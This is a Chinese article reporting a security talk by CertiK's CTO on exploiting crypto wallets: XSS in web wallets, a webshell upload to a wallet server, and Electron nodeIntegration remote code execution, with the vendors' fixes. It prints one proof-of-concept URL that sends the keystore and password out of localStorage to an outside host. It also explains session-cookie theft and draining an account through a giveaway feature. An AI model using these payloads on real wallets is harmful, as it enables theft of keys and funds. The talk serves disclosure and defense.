入侵钱包的最终目标大部分情况下是窃取用户资金。
9月9日至9月15日,由全球最大的区块链社交平台Biyong和韩国最大的区块链社交平台Bananatok联合金色财经、CoinReaders、币世界举办的线上交流分享会——“中韩区块链周”成功举办。
BananaEx、CertiK、Node Capital、HuobiUniversity、KAVA、TokenPocket、ZB、MXC、Cocos、Elastos、PAI、Qtum、CoinTelegraph China、BEAM、Binance pool、INDODAX等来自全球100+区块链行业知名公司和大佬共襄盛会,向来自全球1000多万用户做精彩演讲,传递区块链行业新动态、新机遇。BiYong、Bananatok为广大用户累计发放了折合人民币100万元的token红包。
就像Biyong Banana Group的代表Woochang Jo介绍举办此次活动初衷时说的一样,区块链技术不仅影响数字资产的市场价格,而且未来还会广泛应用于现实生活的许多部分。他兴奋地说“我们筹办本活动,就是希望通过行业里诸位专家的建言献策与身体力行早日实现这一梦想。”
在9月11日的分享中,CertiK CTO倪兆中向众参会者做了主题为《加密钱包的漏洞利用与分析》的演讲。
以下是演讲原文:
在这次演讲中,我将分析和探讨如何利用加密钱包应用程序的漏洞。
什么是加密钱包?
加密钱包是一种存储私钥和/或公钥的设备、程序或服务。加密货币是虚拟的,它们无法像纸币一样存在钱包里,看不见也摸不着。加密钱包其实本身并不存放的你的电子货币,当我们进行交易时,加密钱包会使用用户的私钥来为交易签名,并在区块链上进行广播。
加密钱包有不同的种类,比如软件钱包和硬件钱包。软件钱包包括了网页钱包,移动端钱包,桌面钱包以及浏览器插件。知名的硬件有Ledger和Trezor.本次演讲将重点为软件钱包中的网页钱包和桌面钱包。
加密钱包有两大核心功能:第一个是账户管理,即创建或导入账户;第二个是交易功能,即收发货币。某些协议的加密钱包拥有一些附加功能,比如COSMOS区块链钱包提供的委托功能,允许用户将货币委托给验证者并领取奖励。
在对市面上加密钱包的安全研究的过程中,我们也发现了一些“花哨”的功能。例如,用户可在桌面钱包中浏览新闻、添加第三方插件。用网页钱包发起在推特上赠送货币的活动。甚至还有一种桌面钱包,允许用户通过应用程序接口将任意类型的文件上传到其后台服务器。另有一款桌面钱包利用Webview来实现了一个 “浏览器”。在接下来的演讲中我们会展示上面提到的部分功能
我们一共研究了45不同的钱包,将它们分成了2类。其中一类是托管钱包,托管钱包是让服务器来管理用户的私钥。使用此类钱包时,用户需要使用用户名和密码登录应用,服务器返回Session token或JWT token。这些账户信息将存储在Cookie或本地/会话存储中。
另一种是去中心化钱包,即用户自己管理私钥、助记词以及密码。用户创建帐户或导入帐户后,这些信息将保存在本地/会话存储或JavaScript变量中。
下面我们来讲一下网页钱包.这是一个典型的网页钱包界面,它就是我们CertiK的Deepwallet钱包。用户可以在这个界面中查看账户余额,收发货币,以及权益质押。
谈论到网页应用安全问题时,人们最先想到的就是“OWASP Top 10”的十大安全漏洞。以下是我们调查的27款网页钱包中OWASP十大安全漏洞的一些统计数据。我们在3款钱包中发现了跨站脚本(XSS),此演讲将选取2例进行案例分析。
案例一:去中心化网页钱包的DOM XSS漏洞
此钱包支持单一协议,拥有网页钱包的所有基础功能例如创建账户,交易和权益质押,没有任何其他花哨特征。
此应用程序会保存上次的访问位置:用户用密码解锁钱包后,下次会重新导回到该页面。这是实现这个功能的代码:
如果你有测试网页应用程序的经验,就知道上面的代码很有可能包含DOM XSS漏洞.事实正是如此,假如用户输入网站会弹出alert(1)的窗口
前面提到这是一个去中心化的网页钱包。用户创建帐户或导入帐户后,Keystore和密码都存储在浏览器的Local Storage里。
攻击者可以利用此DOM-XSS漏洞窃取Local Storage中的Keystore和密码,在下面的这个漏洞利用URL中,它读取了密钥库和密码的内容,并将其发送到我的网络服务器。在服务器日志中,可以看到秘钥库内容及密码。当攻击者掌握了这些信息,就相当于控制了用户的账户,可以登录到他们的钱包并将钱转出。
PoC链接
https://wallet.redacted.com/?returnTo=javascript:fetch(\’https://myhost/data=\’+localStorage.getItem(keystore\’)+localStorage.getItem(hashed.account.password\’))
该网页钱包厂商的修复方法为,每当用户解锁钱包,网页总会重定向到个人主页,从而不给攻击者任何插入恶意代码的机会。
案例二:托管网页钱包中的2个反射型XSS
第二个案例研究是关于托管网页钱包中的反射型XSS漏洞。托管网页钱包是由服务器管理所有私钥。如果要登录钱包应用,用户要通过电子邮件接收一次性密码。此案例中的钱包支持16种不同货币,具备所有的基础功能以及一个附加功能,为发起“推特赠送”活动。
在研究中我们发现,此钱包获取用户交易信息的API为“/apiUser/cloudTrans”。如果访问一个不存在的端点,如“/api/test”,服务器将返回带有错误消息的页面,如下图“无法解析请求test”。我们发现链接中的内容出现在了服务器返回的页面中。这代表着一个信号:如果前后端不对用户输入进行任何处理或编码,就有可能遭到反射型跨站点脚本(XSS)漏洞攻击。
当访问浏览器会弹出alert()窗口
通过观察发现账户的Session token存储在“PHPSESSID”Cookie中,而特殊之处在于这个Cookie并没有“HttpOnly”。所以我可以利用XSS,读取cookie内容并且发送到我的网络服务器。获取用户的Session token后,我就可以用它来登录受害者的帐户。
入侵钱包的最终目标大部分情况下是窃取用户资金。在登陆用户的账户之后发现,转账功能需要2fa验证,我们没有找到什么办法可以重制以及取消2fa.不过我们发现了一个功能交发起推特赠送活动。
进入此功能界面时,它会询问你想要赠送什么类型的货币、赠送多少货币以及赠送多少人。通过这个截图可以看到,你最多可以赠送2个比特币,这可不是一笔小数目。 活动发起后,想领取货币奖励的人需要完成3个简单的twitter上的操作即可领取奖励。
此功能的问题出在,它不需要2fa验证。攻击者可以创建很多赠送活动,然后自己去申领奖励。这样他就可以把受害者的账户余额全部取出。
厂商在收到我们的报告后对钱包进行了修复
1.对输出进行HTML编码,这样解决了XSS漏洞。
2.为含有会话令牌的“PHPSESSID”Cookie设置“HttpOnly”。这样一来,即便应用程序受到跨站点脚本攻击,攻击者也无法直接窃取账户的会话令牌。
下面来讲桌面钱包。
桌面钱包是一种可在苹果、windows和Linux上运行的桌面应用程序。桌面钱包是通过什么技术框架构建的呢?我们研究了18款桌面钱包,其中QT(C++)、Dot Net(C#),还有java各有一个,Electron框架15个。
桌面钱包的案例研究将探讨Dot Net桌面钱包的服务器远程代码执行漏洞,以及Electron钱包的客户端远程代码执行漏洞
案例一:Dot Net桌面钱包的服务器远程代码执行漏洞
接下去看看我们在桌面钱包中发现的一个远程代码执行漏洞。首先介绍一下背景:这个钱包是一个去中心化的单一协议钱包,由c#语言编写,使用了Dot Net框架。它包含许多常见的钱包功能,如帐户管理、交易转账和部署/参与智能合约等。比较有趣的是,它还允许用户上传文件到服务器。这功能在钱包中并不常见,所以我们决定进一步研究这个功能。如前所述,Dot Net用于搭建此桌面程序,如果没有部署代码混淆功能,就很容易通过反编译来获取源代码。此案例钱包也是这种情况,因此我们能够通过恢复源代码来进行进一步的分析。
在对可执行文件进行反向编译之后,我们找到了实现文件上传的源代码,如下面的代码片段所示。我们看到“upload.php”是服务器上的处理文件上传的。我们现在知道服务器后台使用了php。因此,如果我们可以上传一个php webshell到服务器并在浏览器中打开它,我们可能就能够在服务器上远程执行代码。
在成功地用钱包上传了一个php webshell文件之后,我们尝试着在浏览器访问上传的文件。我们成功的访问了上传的webshell,并能在webshell中执行命令。同时我们发现网络服务器是在“administrator”用户下运行的,因此我们能够以“administrator”权限执行命令。在这种情况下我们能够完全地控制这台服务器,并且能够操纵其他用户上传的文件。但是,由于这是一个去中心化的钱包,服务器不会存储任何用户私钥,所以就不能利用此漏洞直接危害用户帐户。
修复是非常简单的,开发人员在他们的应用程序中直接删除文件上传功能,这样他们就不必再处理它了。这实际上是一个好办法,因为加密钱包应该尽可能地保持简洁,以此来避免安全问题。
接下来,我们再来谈谈Electron钱包的安全问题。
Electron是一个开源软件框架,它让开发人员能够使用HTML、CSS和Javascript等网络技术构建跨平台的桌面应用程序。使用Electron的好处是开发人员可以重复利用网页应用程序代码来构建桌面应用程序,不需要学习新的编程语言。
网页应用程序的大部分漏洞基本上都可以在Electron应用程序中找到。对于Electron特定的安全问题,Electron官方安全指南(https://www.electronjs.org/docs/tutorial/security)提供了常见问题的详细解答.在2017年美国的黑帽大会上,一个名为“A STUDY OF ELECTRON SECURITY(https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf)”的演讲谈到了如何利用先进技术绕过Electron安全防护来执行代码。
nodeintegration
这里我们来看nodeintegration这个配置,此配置决定了Electron程序是否可以访问Node.js的模块。Electron框架可被用来构建比网页应用程序更强大的应用程序,原因就在于Electron应用程序可以导入很多Node.js模块。不过这也带来了更大的安全风险。
Nodeintegration:false
这是MyCrypto桌面钱包的最新版本。在此配置中,Nodeintegration被设置为false,Node.js被禁用了。如果在dev控制台输入”require”,它会显示”require is not define”。
Nodeintegration: true
这是MyCrypto桌面钱包的早期版本。在此配置中,nodeintegration被设置为true,所以Node.js被启用了。如果在dev控制台中输入”require”,它将显示关于”require”的相关信息。
Electron钱包数据
这是关于Electron钱包的统计数据。我们研究了15款正在开发中的Electron桌面钱包。其中有11款启用了Node.js。这可能是因为配置文件将”nodeintegration”设置为true,或使用了比5.0.0更早的Electron版本。其中有5个应用启用了Node.js以及控制台, self-xss可被升级为远程代码执行。最后一个案例是攻击者不利用self-xss直接触发远程代码执行。下面讲详细讲解这个例子。
首先介绍一下背景:这个钱包是一个去中心化的单一协议钱包,前端用了Vue框架,桌面app用了Electron框架。它包含许多常见的钱包功能,如帐户管理、交易转账。除此之外,此钱包包含了一个查看新闻的功能。
因为此钱包是开源的,我们首先查看了它在Github上的源码。build.js是其应用程序的Electron构建配置文件。下面这段Build.js中的代码检查程序是否在“darwin”(macOS)上运行。如果不是,app.on将使用“createWindow”函数创建浏览器窗口。
在createWindow函数中我们发现nodeIntegration被设为true,表示当此钱包在Windows操作系统上运行时,node.js相关功能将被启用
为了利用启用的Node.js,攻击者需要在应用程序中注入任意的JavaScript。攻击者一般可以通过利用XSS(跨站点脚本)漏洞或者在当前Electron窗口中加载任何包含攻击者注入的JavaScript的网站来实现攻击。
Symbol桌面钱包(v9.7版)提供了浏览“新闻”的功能,只要用户点击新闻中的链接,应用程序便会从钱包窗口加载外部网站(图中展示的是Github)。
了解到这个特征之后,我们在个人网站上host了下列代码.在把指向该网页的URL放在个Github的个人主页的资料上。当用户利用查看新闻功能访问改URL,网页中的JavaScript代码将被执行,从而弹出计算器。
下列的视频展示了整个利用的过程:
官方在新的版本中修复了这个漏洞。修复的方法为
1.把配置文件的”nodeIntegration”设置为false
2.在点击新闻中的链接时,网页将从外部浏览器打开,而不是从桌面钱包中跳转。
案例展示到这里就结束了,接下来为总结:
1.攻击者可以通过钱包中的漏洞偷取用户的钱包资料,货币,甚至控制用户的电脑。
2.开发人员需要对所用的框架的安全方面的知识有所掌握,避免写出带有漏洞的程序。
3.安全审计是至关重要的,在程序开发完之后,需要内部安全团队对产品进行安全审计。没有内部安全团队的公司,可以请第三方安全团队进行安全审计
演讲到这里就结束了。
本文来源:BiYong原文标题:“中韩区块链周”成功举办 CertiK CTO教你看懂加密钱包